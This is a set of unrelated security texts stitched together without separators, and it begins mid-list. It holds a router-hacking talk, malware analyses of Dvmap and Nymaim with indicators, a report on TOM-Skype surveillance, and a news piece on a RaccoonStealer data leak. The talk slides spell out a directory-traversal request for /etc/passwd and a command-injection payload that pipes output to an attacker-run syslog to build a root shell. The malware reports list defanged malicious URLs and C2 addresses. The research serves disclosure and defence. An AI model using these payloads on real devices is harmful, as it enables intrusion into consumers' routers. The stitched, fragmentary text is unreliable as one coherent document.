dacdb4976fd75ab2fd7bb22f1b2f9d986f5d92c29555ce2b165c020e2816a200 - e43d66b7a4fa09a0714c573fbe4996770d9d85e31912480e73344124017098f9 - **Mimikatz**: 2a6e3b6e42be2f55f7ab9db9d5790b0cc3f52bee9a1272fc4d79c7c0a3b6abda - **ProcDump**: - 5d1660a53aaf824739d82f703ed580004980d377bdc2834f1041d512e4305d07 - f4c8369e4de1f12cc5a71eb5586b38fc78a9d8db2b189b8c25ef17a572d4d6b7 - **Plink**: 13d8d4f4fa483111e4372a6925d24e28f3be082a2ea8f44304384982bd692ec9 - **Sqlextractor**: a8e63550b56178ae5198c9cc5b704a8be4c8505fea887792b6d911e488592a7c - **Pscp.exe**: a112e78e4f8b99b1ceddae44f34692be20ef971944b98e2def995c87d5ae89ee - **MultiLayer wiper**: - 38e406b17715b1b52ed8d8e4defdb5b79a4ddea9a3381a9f2276b00449ec8835 - f65880ef9fec17da4142850e5e7d40ebfc58671f5d66395809977dd5027a6a3e - **PartialWasher Wiper**: ec7dc5bfadce28b8a8944fb267642c6f713e5b19a9983d7c6f011ebe0f663097 - **BFG Agonizer Wiper**: c52525cd7d05bddb3ee17eb1ad6b5d6670254252b28b18a1451f604dfff932a4 - **GMER Driver Loader - agmt.exe**: - 8967c83411cd96b514252df092d8d3eda3f7f2c01b3eef1394901e27465ff981 - a2d8704b5073cdc059e746d2016afbaecf8546daad3dbfe4833cd3d41ab63898 - **GMER Driver**: 18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7 - **Rentdrv2 Loader - drvIX.exe**: 2fb88793f8571209c2fcf1be528ca1d59e7ac62e81e73ebb5a0d77b9d5a09cb8 - **Rentdrv2 Driver**: 9165d4f3036919a96b86d24b64d75d692802c7513f2b3054b20be40c212240a5 - **Infrastructure**: - 185.105.46[.]34 - 185.105.46[.]19 - 93.188.207[.]110 - 109.237.107[.]212 - 217.29.62[.]166 - 81.177.22[.]182
# HACKING EMBEDDED DEVICES for Fun & Profit ## WHAT THIS TALK INTENDS TO COVER - What & Where are Embedded Devices? - Why history lessons should be learnt! - Caveats & Defects in Embedded Platforms - Methodologies for Assessing Embedded Devices - A Case Study: Looking at a Consumer Device ## WHAT & WHERE ARE EMBEDDED DEVICES? - Everything & Everywhere! ## WHY SHOULD I CARE? - Embedded Devices are often “Black Box” - Minimal or no documentation & source code - Security through obscurity - Provided as “Secure” Solutions - Vendors have a long history of telling the truth! - Provided along with Security Software by ISPs - Anti-Virus - Firewall Software - History of Security Flaws - DD-WRT Remote Root - O2 Wireless Box CSRF - BeThere BeBox backdoor - BTHomeHub CSRF & More - Consumer Devices becoming popular targets - Psyb0t worm. ## HISTORY REPEATS ITSELF… - Typically run with no privilege separation - Everything runs as highest user privilege - SYSTEM / root (uid=0) on all processes - A single defect could potentially compromise the platform - Embedded Developers are not Security Conscious - Commonly write insecure routines - XSRF / XSS - Design & Logic bugs (e.g. Directory Traversal) - Buffer Overflow Defects - Small number of commonly re-used Libraries - Devices re-use open-source libraries across platforms - SNMP - UPnP - BusyBox - TinyHttpd, Micro_Httpd … etc ## CASE STUDY: SKY BROADBAND - Legalities & Assessment - Who owns what? - Obtaining Permission - Open Source & GPL Code Violations - Security Assessment - Port Scanning & Analysis - Known UPnP flaws. - Examining an information leak - Auditing the Source Code - Building Test Cases - Exploiting the bug - Identifying & Exploiting 0day - Finding a potential flaw - Defeating the limitations - Creating a reliable remote root exploit ## LEGALITIES & ASSESSMENT - Consumer broadband devices are typically “leased” - Your ISP owns the equipment. - You should obtain written permission to assess - Try Customer Services, Security Contacts & Chocolates. - Violation of Terms & Conditions - This is often used to “silence” researchers - Open-Source & GPL - Vendors frequently violate the GPL. - Vendors release partial GPL source code without modifications. ## UPNP – KNOWN VULNERABILITIES - Universal Plug and Play - Can be used to automatically configure “stuff” - Known to allow forwarding internal ports externally. - Used for configuring port forwarding “on-the-fly” - Miranda is a free UPnP shell tool for auditing. - GNUCitizen Flash UPnP weakness. - Demonstrates that we can send UPnP through Flash - We can forward internal ports to the Internet - We must know where the port is - We must know the IP address we want to forward - myrouter.home and 192.168.0.1 are Sky defaults. ## UPNP ATTACKS – MIRANDA EXAMPLE ## UPNP ATTACKS – PORT MAPPING ## USE THE SOURCE LUKE! - Reviewing Directory Traversal Protection in micro_httpd.c - if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path, protocol ) != 3) … - if ( path[0] != '/' ) … - file = &(path[1]); … - if ( file[0] == '/' || strcmp( file, ".." ) == 0 || strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) != (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 ) … - GET /../ HTTP/1.1 - Variants are successfully detected. - Attempts to request files outside of PATH fail. - Seems to protect micro_httpd under normal operation. ## TESTING THE PROTECTION! TEST CASES! - Copy the routine into a stand-alone C program so that potential strings and bypasses can be tested quickly. ## BREAKING THE DEVICES ICE WITH STAT() - micro_httpd extended by Sky / Sagem for CGI - Modified source code breaks the “secure” check. - File arguments to CGI scripts could traverse ONE directory. - Single ../ not matched if a CGI argument - One directory is enough to reach root file system / - Using sky_temp.html is a code path to stat() files - /sky_temp.html?status=501&title=&text=&this_file=../etc/passwd - If a file or directory exists "No element returned.” in response. - We can now enumerate all the files & directories on the device. ## A STAT() INFORMATION LEAK IS BORN! - Enumerating contents of “/bin” using python and shell scripts. ## IDENTIFYING A COMMAND EXECUTION BUG - Using standard Web Application assessment tools I tested each CGI input and FORM request for potential Command Injection bugs. - We use common shell escape characters ; ` | & - The stat() information leak shows /bin/ping exists. - We try |/bin/ping 192.168.0.3 and similar. - Non-blind command injection - We can see the output of commands on the web page. - Blind command injection. - We can put a packet sniffer on the network. - A Vulnerability is found in DynDNS screen! - User input passed to shell from CGI arguments. ## IDENTIFYING SUCCESSFUL EXPLOITATION ## EMBEDDED DEVICE EXPLOIT CAVEATS - Command Injection is completely blind. - Command Injection has a character limit of 40 chars. - Telnet connect back shell? - No telnet or netcat command! - Tunnel the command output via DNS? - Works over UDP - Could be used to handle some string data - Might be difficult to implement - Tunnel the command output via SYSLOG? - Works over UDP - Can handle string output - Probably already implemented for us! - Tips & Tricks - $IFS can be used as a whitespace - 2>&1 can be used to redirect stderr to stdout. - Try to URL encode problem chars! i.e. 2>%261 ## BUILDING THE EXPLOIT SHELL - Configure the attackers IP as remote syslogd - This can be done through the Web interface. - Listen on UDP port 514 for syslog messages. - Using command injection pass output to syslog - ddnsHostname=|logger -p 0 ”`ls /bin`” - String will send output of ‘ls /bin’ to remote syslog. - Pseudo-interactive shell allows for better attacks. - Once we have a shell we may be able to view files - Upload/Download binaries - Explore the device configuration & settings. ## RUN SCOOBY! A ROOT SHELL IS BORN! ## USERS & PASSWORDS - Hidden users in passwd file not in manual. - Root user has been renamed to “admin”. - Possible to use “user/user” to authenticate to web. - Could not change password of user – auth bypass. - What are the other users for? ## NETWORK SNIFFER COMES BUILT-IN! ## FILE TRANSFER? – USE TFTP! ## WHAT ABOUT FROM THE INTERNET? - Sky user clicks on a link, XSS or IFRAME attack. - Flash UPnP exposes the Sky web service to WAN. - Could use IFRAME with creds to send? (prompts!!!) - GET request works just as well as a POST request. - Possible avenue of attack, couldn’t get working. - Default “user/user” authenticates to web device from Internet. No password change? Auth bypass! - Attacker sets internet IP as syslog daemon. - Attacker starts pseudo interactive shell on device and has “admin” (root) rights thanks to httpd. - Attacker can now run a network sniffer, transfer files to and from the network and more. ## IMPACT & RISK? CONSUMERS POST-’07. ## QUESTIONS? Hacker Fantastic Blog/Twitter/Code & Stuff http://www.hackerfantastic.com Thank you!
# Dvmap: the first Android malware with code injection **Malware descriptions** **08 Jun 2017** **Authors** Roman Unuchek In April 2017, we started observing new rooting malware being distributed through the Google Play Store. Unlike other rooting malware, this Trojan not only installs its modules into the system, it also injects malicious code into the system runtime libraries. Kaspersky Lab products detect it as Trojan.AndroidOS.Dvmap.a. The distribution of rooting malware through Google Play is not a new thing. For example, the Ztorg Trojan has been uploaded to Google Play almost 100 times since September 2016. But Dvmap is very special rooting malware. It uses a variety of new techniques, but the most interesting thing is that it injects malicious code into the system libraries – libdmv.so or libandroid_runtime.so. This makes Dvmap the first Android malware that injects malicious code into the system libraries in runtime, and it has been downloaded from the Google Play Store more than 50,000 times. Kaspersky Lab reported the Trojan to Google, and it has now been removed from the store. To bypass Google Play Store security checks, the malware creators used a very interesting method: they uploaded a clean app to the store at the end of March 2017, and would then update it with a malicious version for a short period of time. Usually, they would upload a clean version back on Google Play the very same day. They did this at least 5 times between 18 April and 15 May. All the malicious Dvmap apps had the same functionality. They decrypt several archive files from the assets folder of the installation package and launch an executable file from them with the name “start.” The interesting thing is that the Trojan supports even the 64-bit version of Android, which is very rare. All encrypted archives can be divided into two groups: the first comprises Game321.res, Game322.res, Game323.res, and Game642.res – and these are used in the initial phase of infection, while the second group: Game324.res and Game644.res, are used in the main phase. ## Initial phase During this phase, the Trojan tries to gain root rights on the device and to install some modules. All archives from this phase contain the same files except for one called “common.” This is a local root exploit pack, and the Trojan uses 4 different exploit pack files, 3 for 32-bit systems and 1 for 64-bit systems. If these files successfully gain root rights, the Trojan will install several tools into the system. It will also install the malicious app “com.qualcmm.timeservices.” These archives contain the file “.root.sh” which has some comments in Chinese. ## Main phase In this phase, the Trojan launches the “start” file from Game324.res or Game644.res. It will check the version of Android installed and decide which library should be patched. For Android 4.4.4 and older, the Trojan will patch method _Z30dvmHeapSourceStartupBeforeForkv from libdvm.so, and for Android 5 and newer it will patch method nativeForkAndSpecialize from libandroid_runtime.so. Both of these libraries are runtime libraries related to Dalvik and ART runtime environments. Before patching, the Trojan will backup the original library with a name bak_{original name}. During patching, the Trojan will overwrite the existing code with malicious code so that all it can do is execute /system/bin/ip. This could be very dangerous and cause some devices to crash following the overwrite. Then the Trojan will put the patched library back into the system directory. After that, the Trojan will replace the original /system/bin/ip with a malicious one from the archive (Game324.res or Game644.res). In doing so, the Trojan can be sure that its malicious module will be executed with system rights. But the malicious ip file does not contain any methods from the original ip file. This means that all apps that were using this file will lose some functionality or even start crashing. This file will be executed by the patched system library. It can turn off “VerifyApps” and enable the installation of apps from 3rd party stores by changing system settings. Furthermore, it can grant the “com.qualcmm.timeservices” app Device Administrator rights without any interaction with the user, just by running commands. It is a very unusual way to get Device Administrator rights. As I mentioned before, in the “initial phase,” the Trojan will install the “com.qualcmm.timeservices” app. Its main purpose is to download archives and execute the “start” binary from them. During the investigation, this app was able to successfully connect to the command and control server, but it received no commands. So I don’t know what kind of files will be executed, but they could be malicious or advertising files. ## Conclusions This Trojan was distributed through the Google Play Store and uses a number of very dangerous techniques, including patching system libraries. It installs malicious modules with different functionality into the system. It looks like its main purpose is to get into the system and execute downloaded files with root rights. But I never received such files from their command and control server. These malicious modules report to the attackers about every step they are going to make. So I think that the authors are still testing this malware because they use some techniques which can break the infected devices. But they already have a lot of infected users on whom to test their methods. I hope that by uncovering this malware at such an early stage, we will be able to prevent a massive and dangerous attack when the attackers are ready to actively use their methods. **MD5** 43680D1914F28E14C90436E1D42984E2 20D4B9EB9377C499917C4D69BF4CCEBE **Code injection** **Google Android** **Mobile Malware** **Trojan** **Authors** Roman Unuchek
# Breaching Trust: An Analysis of Surveillance and Security Practices on China’s TOM-Skype Platform **Author Bio** Nart Villeneuve is the CTO of Psiphon Inc. and the Psiphon research fellow at the Citizen Lab, Munk Centre for International Studies, University of Toronto. He is a graduate of the University of Toronto and the former Director of Technical Research at the Citizen Lab, where he analyzed the Internet filtering policies of over forty countries as part of the OpenNet Initiative (ONI). Nart is also a senior research associate at the Information Warfare Monitor. His research focuses on Internet censorship around the world as well as the evasion tactics used to bypass Internet filtering systems. **Major Findings** - The full text chat messages of TOM-Skype users, along with Skype users who have communicated with TOM-Skype users, are regularly scanned for sensitive keywords, and if present, the resulting data are uploaded and stored on servers in China. - These text messages, along with millions of records containing personal information, are stored on insecure publicly-accessible web servers together with the encryption key required to decrypt the data. - The captured messages contain specific keywords relating to sensitive political topics such as Taiwan independence, the Falun Gong, and political opposition to the Communist Party of China. - Our analysis suggests that the surveillance is not solely keyword-driven. Many of the captured messages contain words that are too common for extensive logging, suggesting that there may be criteria, such as specific usernames, that determine whether messages are captured by the system. **Summary** Our investigation reveals troubling security and privacy breaches affecting TOM-Skype—the Chinese version of the popular voice and text chat software Skype, marketed by the domestic Chinese company TOM Online. TOM-Skype routinely collects, logs, and captures millions of records that include personal information and contact details for any text chat and/or voice calls placed to TOM-Skype users, including those from the Skype platform. These records are kept on publicly-accessible servers, along with the information required to decrypt these log files. These files contain the full text of chat messages sent and/or received by TOM-Skype users that contain particular keywords that trigger TOM-Skype’s content-filtering capability. Our investigation revealed eight servers that are part of the TOM-Skype surveillance network. In addition, we found one server hosting a special version of TOM-Skype designed for use in “net bars” or cybercafés. This server contained log files and information that revealed the list of the words that the system censored. Another server captured data from TOM Online’s wireless services and contained logs of SMS messages and other sensitive information. The log files obtained during the course of the investigation reveal information such as the IP addresses, usernames (and landline phone numbers) used to place or receive TOM-Skype calls, as well as the full content of filtered messages and the time and date of each message. The collected data affects all TOM-Skype users and also captures the personal information of any Skype users that interacted with registered TOM-Skype users. This represents a severe security and privacy breach. It also raises troubling questions regarding how these practices are related to the Government of China’s censorship and surveillance policies. The captured messages contain keywords relating to sensitive topics such as Taiwan independence, the Falun Gong, and political opposition to the Communist Party of China. Security problems appear to be endemic at TOM Online. The publicly-accessible servers accessed by our investigation are insecure and contain information that can be used to exploit the TOM-Skype server network. It is possible that a malicious attacker could exploit vulnerabilities in the system and access the millions of logged communications and, possibly, detailed user profiles. In fact, evidence suggests that the servers used to store captured data have been compromised in the past and used to host pirated movies and torrents. These findings raise key questions. To what extent do TOM Online and Skype cooperate with the Chinese government in monitoring the communications of activists and dissidents as well as ordinary citizens? On what legal basis is TOM-Skype capturing and logging this volume and detail of personal user data and communication, and who has access to it? **Background** Skype is a popular voice-over-IP software program that lets users make free peer-to-peer phone calls over the Internet. In 2004, Skype developed a relationship with TOM Online, a leading wireless provider in China, and announced a joint venture in 2005. Skype and TOM Online produced a special version of the Skype software, known as TOM-Skype, for use in China. By 2006, it became clear that TOM-Skype was censoring the text chat feature of its software. It was reported that sensitive words, such as those referring to the banned Falun Gong movement, the Dalai Lama, and the Tiananmen Square incident triggered a filtering mechanism that prevented such messages from being displayed. Human rights groups criticized Skype, suggesting that the company was “legitimizing China’s system of censorship,” while others suggested that TOM-Skype contained Trojan horse capabilities that could be used for surveillance by the Chinese Government. Skype responded to the criticisms emphatically stating: - The text filter does not affect in any way the security and encryption mechanisms of Skype. - Full end-to-end security is preserved and there is no compromise of people’s privacy. - Calls, chats, and all other forms of communication on Skype continue to be encrypted and secure. - There is absolutely no filtering on voice communications. While Skype specifically stated that censored messages are “simply discarded and not displayed or transmitted anywhere,” this report demonstrates that not only are filtered messages transmitted to and stored on TOM-Skype servers located in China, but also that the servers themselves are configured with such poor security that it is possible to retrieve and decrypt these logs. **Censorship: How Does It Work?** The TOM-Skype software from skype.tom.com contains a keyfile that appears to be an encrypted list of banned keywords as well as a filtering component created by TOM Online. When a TOM-Skype user sends or receives a text chat message that contains a keyword, the message is not displayed. However, when such a message is sent or received by a TOM-Skype user, an HTTP connection is made to a TOM-Skype server and encrypted data is uploaded. These messages are stored in log files on the TOM-Skype servers. **Security and Privacy** TOM-Skype maintains eight servers to which data is uploaded from the TOM-Skype client software. Much of the interaction between the client and the servers focuses on product features, such as letting the user’s contacts know when he or she is online, storing text messages that users send to contacts that are not currently online, and displaying advertisements to the user. However, there are a variety of different log files that contain stored personal information: - contentfilter*.log - skypecallinfo*.log - skypelogininfo*.log - skypenewuser*.log - skypenewusersendmoneytest*.log - skypeonlineinfo*.log - skypeversion.log These log files contain information such as the IP addresses and usernames as well as the date and time when the entry in the log was recorded. The most damaging information concerns the log files that record call information and the content filter logs that contain full text messages. The call information logs date from August 2007 and contain a record of the IP addresses and usernames of all those that participated in voice calls as well as the username and/or phone number of the recipient of the call. There are additional parameters that are logged whose function is unknown at this time. The content filter logs dating from August 2008 contain similar identifying information as well as the full content of the logged text messages. The messages contain sensitive information including email addresses, passwords, phone numbers, package tracking numbers, and bank card numbers. **Censorship and Surveillance** We analyzed the content filter log files containing censored messages from August and September 2008. These log files, spread across eight servers, contained 1,045,800 messages. However, there is some duplication across the eight servers, and users often send the same message several times after it is censored because it fails to be displayed. The log files for the content filter contain the full content of censored messages along with the IP address of the TOM-Skype user, the username that sent the message, and the date and time the message was sent. If a TOM-Skype user is sent a message by a “normal” Skype user that contains a banned keyword, that message is also logged, and the Skype user’s username is logged along with the IP address of the intended recipient. It is possible to map the social network of each user that appears in the log files. We cannot prove that this data is actively being used for politically motivated surveillance, but with simple social networking tools, it is possible to identify the relationships between users. With just one username, it is possible to identify all the users that have sent messages to or received messages from the original user. More complex mapping could track the relationships between all those users as well. Messages were logged from IP addresses allocated to 59 different countries. However, 95% of all the logged messages were from IP addresses allocated to China; the U.S. followed with 0.78%. The reason that this percentage is so high is that when a user—a normal Skype user for example—sends a message to a TOM-Skype user that contains a keyword, the message is logged with the username of the sender but the IP address of the receiver. The non-Chinese IP addresses appear to represent TOM-Skype users in other countries. In total, these log files contain 166,766 unique messages from 71,237 unique IP addresses and 44,254 unique usernames. The messages were processed to remove messages containing English language obscenities, leaving 102,196 (61%) messages, mostly in Chinese. While some pornographic and obscenity-laden messages remain, the majority appear to be a combination of innocuous messages captured by overzealous filtering and messages containing keywords relating to sensitive topics such as Taiwan independence, the Falun Gong, and political opposition to the Communist Party of China. However, when we pasted politically sensitive keywords from the log files into TOM-Skype text messages, we were unable to trigger the filtering or the uploading of the data to TOM-Skype servers. This is consistent with the findings of Human Rights Watch from 2006. Despite Skype’s claim that keywords concerning Taiwan, the Dalai Lama, and Falun Gong were censored, Human Rights Watch was able to send and receive messages containing such keywords. It is possible that the filtering of politically sensitive keywords is restricted in some way, perhaps geographically. However, it may also indicate that TOM-Skype is performing surveillance: logging messages containing keywords but continuing to display the messages to users. Based on an analysis of the messages in the content filter logs, it is clear that messages containing such keywords are being delivered to users, as many of the messages appear to be questions and responses. Many of the politically sensitive messages logged by TOM-Skype make reference to the Epoch Times and Falun Gong linked campaign that encourages Chinese citizens to quit the Chinese Communist Party (CCP). In 2005, the “Global Service Center for Quitting the CCP” was set up to encourage Chinese citizens to quit the CCP. This campaign uses telephone, mobile phone text messages, chatting online to contact Chinese citizens and provide them with information that is critical of the CCP and highlights the persecution of the Falun Gong. This campaign has made extensive use of Skype including Skype public chats and SkypeCast. **Conclusion** The questionable security practices of TOM-Online led to the disclosure of millions of records containing personal information regarding mobile phone accounts, SMS messages, and the usage of TOM-Skype. However, this disclosure also confirms that TOM-Skype is censoring and logging text chat messages that contain specific, sensitive keywords and may be engaged in more targeted surveillance. These logged messages contain keywords relating to sensitive topics such as Taiwan independence, the Falun Gong, and political opposition to the Communist Party of China. Many of these messages contain words that are too common for extensive logging, suggesting that there may be targeted surveillance taking place. This case provides a unique perspective on the battle over information taking place between authoritarian governments and political activists through the medium of new technologies. While new technologies provide an innovative platform for political activists to communicate globally, they also provide governments with the ability to monitor and track political opponents and human rights advocates. The logging of these messages by TOM-Skype reveals the efforts to combat the use of Skype by political activists through censoring and logging messages that contain politically sensitive keywords. While the extent of targeted surveillance by TOM-Skype is not known for certain, many of the logged messages are specific to the “Quit the CCP” campaign. These messages reveal many of the methods used by the campaign including the promotion of circumvention technology and pseudonymous email addresses. These findings should serve as a warning for groups engaging in political activism or promoting the use of censorship circumvention technology accessed through services provided by companies that have compromised on human rights. Private and politically sensitive messages sent through new communications technologies are only as secure as the robustness of the security of the technology companies themselves. In this case, we were able to access volumes of sensitive data without the cooperation of the company involved due to lax security. There is no reason why an inquisitive government could not do the same. Trust in a well-known brand such as Skype is an insufficient guarantee when it comes to censorship and surveillance. This case demonstrates the critical importance of the issues of transparency and accountability by providers of communications technologies. It highlights the risks of storing personally identifying and sensitive private information in jurisdictions where human rights and privacy are under threat. It also illustrates the need to assess the security, privacy, and human rights impact of such a decision. Consistent with most major companies that have acquiesced to China’s censorship and surveillance policies, Skype is not transparent or forthcoming about the exact nature of their compliance with Chinese authorities. To what extent is Skype actively complicit in the censorship and surveillance of political discourse in China? What policies, if any, are in place to protect the privacy and human rights of Chinese Skype users? What is clear is that TOM-Skype is engaging in extensive surveillance with seemingly little regard for the security and privacy of Skype users. This is in direct contradiction of Skype’s public statements regarding their policies in China.
# Nymaim Moves Past Its Ransomware Roots - What Is Old Is New Again **February 29, 2016** Most malware that we see is distributed through spam sent out by botnets. Other malware comes through "drive-by downloads" from compromised or malicious websites. Now one attacker is using legitimate bulk email services to spread the Nymaim Trojan, an alarming shift that could make such attacks harder to detect. Nymaim is a 2-year-old strain of malware most closely associated with ransomware. We have seen recent attacks spreading it using an established email marketing service provider to avoid blacklists and detection tools. But instead of ransomware, the malware is now being used to distribute banking Trojans. Originally observed in 2013, the Nymaim Trojan was installing ransomware before file-encrypting malware was making headlines and extorting money from people, hospitals, and even the police. At that time, Nymaim was largely distributed via the Black Hole Exploit Kit (BHEK) as a "drive-by download." Later, the actors behind the distribution of Nymaim began manipulating search results so that sites compromised with BHEK were more likely to get clicks. By 2014, researchers found machines infected with Nymaim that also contained traces of other malware including Vawtrak, Miuref, Pony, and Ursnif. Although most famously associated with early ransomware, Nymaim is, at its core, a downloader Trojan that can be used to install a variety of malware. Recently, we have been tracking new vectors and payloads for Nymaim, with multiple campaigns utilizing email to send document attachments or URLs leading to documents. When users open one of these documents, the macros download and install Nymaim. Then, in most cases, Nymaim installs the Ursnif banking Trojan on vulnerable PCs. The emails include links from legitimate domains used by the service provider but redirect users to malicious macro-embedded documents to deliver Nymaim. It is unclear whether the threat actors are using a compromised account on the email marketing service or signed up for a free trial. In either case, the trend marks a departure from their usual reliance on botnets—and could make them harder to detect. Not surprisingly, using a well-known email marketing service can improve the effectiveness of the attacks by improving link reputation, keeping senders on whitelists, and bypassing sampling by multiple security vendors who deliberately exclude bulk mailing services. In other campaigns, Nymaim is being delivered through even more circuitous means. On February 17, for example, we tracked a malicious document attachment campaign in which Microsoft Word documents attached to emails with subjects "February payment" or "Fedex Delivery Notification" used macros to drop Pony onto PCs. Pony is a Trojan with credential-stealing capabilities. In this case, it is used to download Nymaim, which in turn may then download other malware such as Ursnif. Email is the top vector for delivering Nymaim in these recent campaigns (whether via attached malicious documents or links to malicious URLs). We have identified two other interesting features in these new campaigns: - Nymaim still appears to be using some of the same web injects (hence targeting the same organizations) as it did in campaigns from 2013 and 2014, even while actors are employing other means (like VBA macros) to deliver the malware. - Nymaim is heavily obfuscating both its own functions and that of its payload (at least in the case of Ursnif) in memory. This move makes analyzing and reverse-engineering it harder. Nymaim is monitoring and replacing content of a banking website while the user is browsing it. The malware reports that the user is visiting a banking site. It then receives instructions on how to modify and replace content to initiate fraud on the user’s account. Nymaim is hardly new. But these campaigns bring some new approaches to the table. Abusing an email marketing service brings a number of benefits to the actors and leaves many recipients potentially more vulnerable to attack. It's possible to blacklist IP addresses associated with the botnets that typically distribute malware via email. But in this case, the campaign uses a known "good" mail distribution vector. Without more advanced analysis in a sandbox environment, these kinds of attacks are difficult to catch. At the same time, actors are leveraging Nymaim's capabilities as a loader and its flexibility to distribute the latest banking Trojans. In other words, what is old is new again, and Nymaim has been revitalized to meet current demands from threat actors. ## Indicators of Compromise **Sample hashes (Documents that download Nymaim):** - ce0c220603d23fbb072f91a6a813c07e0c1d02559f54f9899d3d3be1db6d8851 - 617f3001d64cfc1edb3ccd70a084f888a34cb7f2e39d92e0685461baa23a4e5d - c788fd4cae05844344b04629d97be324d1f85dbefdfc8352489154341f888aa9 - 18e2461c250aaada1847b2aba8aef43f7686477f11b64e7597c325ee557f5128 - 3e522c5873f976078e2c31681771640c73ee8a4e192ecbbcf6fe4e8b3a486920 - d78e20396efc39af29717d8dcceaf48a241ebd36a2f89d0c903ecf81fa9f5d0c - 5cdf41ef8cc330a5ea7fa06de6e220afdd8c2d5b708041296801f45bcafa16e3 - d4e3fb25f0d397967f1e88baffb97cfd6f40953d0c9f998d1c4694d1982d2d65 - 8efdfcf63f1dbfa9666bce23246f49c5788ec8c8edacc722038d9110375d89b5 - e5c5385b79743ced00adebc0daae5fa619cf3836417bc2b0379f98a24f81c4bb - c0515052e8bc2e2772b29cbb694e72af9a6c2be8ebceba5766bcdaf26fe955da - b5b6b37f28dc16bbbac8df75af51f66436f7a4b4dec7ee3d911fb2601c1bb3b5 - 642420b08d6333b8cf48014b62c60f9bd1f51be4b3c00b6023e824987d177b73 **Distribution domains (domains hosting documents that download Nymaim):** - hxxp://intuit.secureserver17[.]com/invoices/Invoice_897-84579.doc - hxxp://secure.secureserver17[.]com/invoices/Invoice_11471.doc - hxxp://quickbooks.intuit-invoices[.]com/invoices/qb_invoice_1147630.doc **Distribution domains (domains hosting Nymaim payload):** - dalinumsdeli42[.]com/posts/dli506.exe - www.billpay-center[.]com/invoices/007448322.doc - forget42gibb[.]com/post/506pblpks.exe - fini4kbimm[.]com - forget42gibb[.]com - grotesk14file[.]com - intro12duction1[.]com - finiki45toget[.]com - joreshi50indo[.]com - epay-solution[.]com - billpay-center[.]com - amoretaniintrodano36[.]com - amoretanioontradano37[.]com - amoretanoenntrodano38[.]com - amoretanoentrodano33[.]com - amoretanointrodanio39[.]com - amoretanointrodano31[.]com - amoretanoontrodano34[.]com - amoretanopintrodano40[.]com - amoretanopntrodano35[.]com - amoretanountrodano32[.]com - dalinamsdela41[.]com - dalinamsdele45[.]com - dalinamsdelo43[.]com - dalinamsdelu44[.]com - dalinamsdelu46[.]com - dalinumsdeli42[.]com - secureserver17[.]com **Nymaim Sample SHA256 Hashes:** - 834ce4c3f3b1a4086d906e24ebf7e6028be81daeb84975f4c507c1cdcb08b2bc - 1a71f4090a95e643caa4cc5723da5d8cf1a24c8cd3caa95f496f1f2810df46ac - 0f62b83a7bdcf4ac5e0f8beccc2b86290ba7432a46cdcdaa5ad21dd4ad2785ee **Nymaim C2:** - hxxp://viestisete[.]com/kz49uagxyo/index.php - hxxp://mcwcly[.]com/zzpwgdu/index.php - hxxp://67.211.221[.]36/zzpwgdu/index.php - hxxp://89.163.247[.]186/zzpwgdu/index.php - hxxp://94.125.120[.]12/zzpwgdu/index.php - hxxp://eoquecwpt[.]com/16lqp/index.php **Pony C2:** - hxxp://sinmoughhin[.]ru/gate.php - hxxp://jotertdinthap[.]ru/gate.php - hxxp://rinuntinand[.]ru/gate.php **Pony Downloads:** - hxxp://opulencebeautique[.]com/system/logs/webmail.exe - hxxp://dulichhanoihalongsapa[.]com/system/logs/webmail.exe - hxxp://properenglishtraining[.]co[.]za/wp-content/plugins/cached_data/webmail.exe
# Malware Group Leaks Millions of Stolen Authentication Cookies To add insult to injury, after users were infected by a malware strain that stole their passwords and personal data, the malware operators forgot to secure their backend servers, which leaked sensitive user information for hundreds of thousands of victims for more than a month. For weeks, Bob Diachenko, Cyber Threat Intelligence Director at security firm Security Discovery, has been trying to convince a cloud provider to intervene and take down a malware group’s server that was leaking hundreds of thousands of stolen passwords and millions of authentication cookies. The data was leaked via an Elasticsearch server left exposed online without a password. The server exposed data that is typically collected by a type of malware known as an infostealer. This type of malware infects devices and then collects user credentials from web browsers, FTP, and email clients, data that is later uploaded to command and control (C&C) servers. Typically, most C&C servers are hosted on a hacked website or a cheap virtual private server (VPS), and then the data is aggregated in a so-called data lake, where it is centralized for further analysis. The Elasticsearch server discovered by Diachenko is believed to be one of these data lakes, where crooks were aggregating their stolen information. According to Vitali Kremez, CEO of threat intelligence company Advanced Intelligence, and James Maude, lead cyber-security researcher at security firm BeyondTrust, based on the format of the “bot_ID” field assigned to each infected host, the server was collecting data from users infected with version 1.7.2 of the RaccoonStealer malware. “Raccoon is fairly typical Malware-as-a-Service where for $75-$200 per month you get access to the toolkit to generate malware payloads and a backend website to administer your campaign from,” Maude told The Record in an email interview last month. “It is designed to steal login credentials, credit card information, cryptocurrency wallets, and browser information. People often don’t realize, but things like the password store on Chrome are encrypted using the Windows API. This means that if the malware is running in the user context, it can decrypt all the logins saved in the Chrome DB and steal them,” Maude said. And according to data seen by this reporter, Maude was right. The Elasticsearch server did not only hold personal victim data like emails, usernames, and device details but was also storing cleartext passwords and even authentication cookies. In the leaked data, we found credentials and cookies for email accounts, social media profiles, work applications, and even government portals. Of the entire data collected in the server, the most prevalent were authentication cookies, collected in the millions, rather than passwords, which were only hundreds of thousands. The reason why the threat actor focused on stealing authentication cookies is that they allow better and easier access to an account compared to usernames and passwords. Auth cookies, as they are also called, allow intruders to access victim accounts without needing to authenticate using usernames and passwords and even bypass any two-step verification process that victims might have had in place. For this reason, authentication cookies are highly prized in the cybercrime ecosystem. Cybercrime marketplaces such as Genesis or RichLogs often list authentication cookies for sale on their portals. But while Diachenko has been fighting for weeks with little success to get the cloud provider to intervene and take down this malware gang’s data, the server mysteriously disappeared earlier today. At the time of writing, it is unclear if the cloud provider finally decided to act or if the malware gang saw Diachenko and this reporter sift through the data while preparing this article. Diachenko told The Record he plans to provide parts of the stolen data he discovered in the now-defunct Elasticsearch server to Troy Hunt, the operator of the Have I Been Pwned portal, so the data can be indexed and allow users to check if their account passwords and cookies were compromised. Diachenko said most of the data was for users living in the United Arab Emirates and other Middle East countries. We will update this article when the stolen data is going to be added to HIBP, so readers can know they can check it there. **Tags**: authentication cookies, cookies, credentials, data leak, Elasticsearch, infostealer, leak, malware, passwords, Raccoon, RaccoonStealer Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
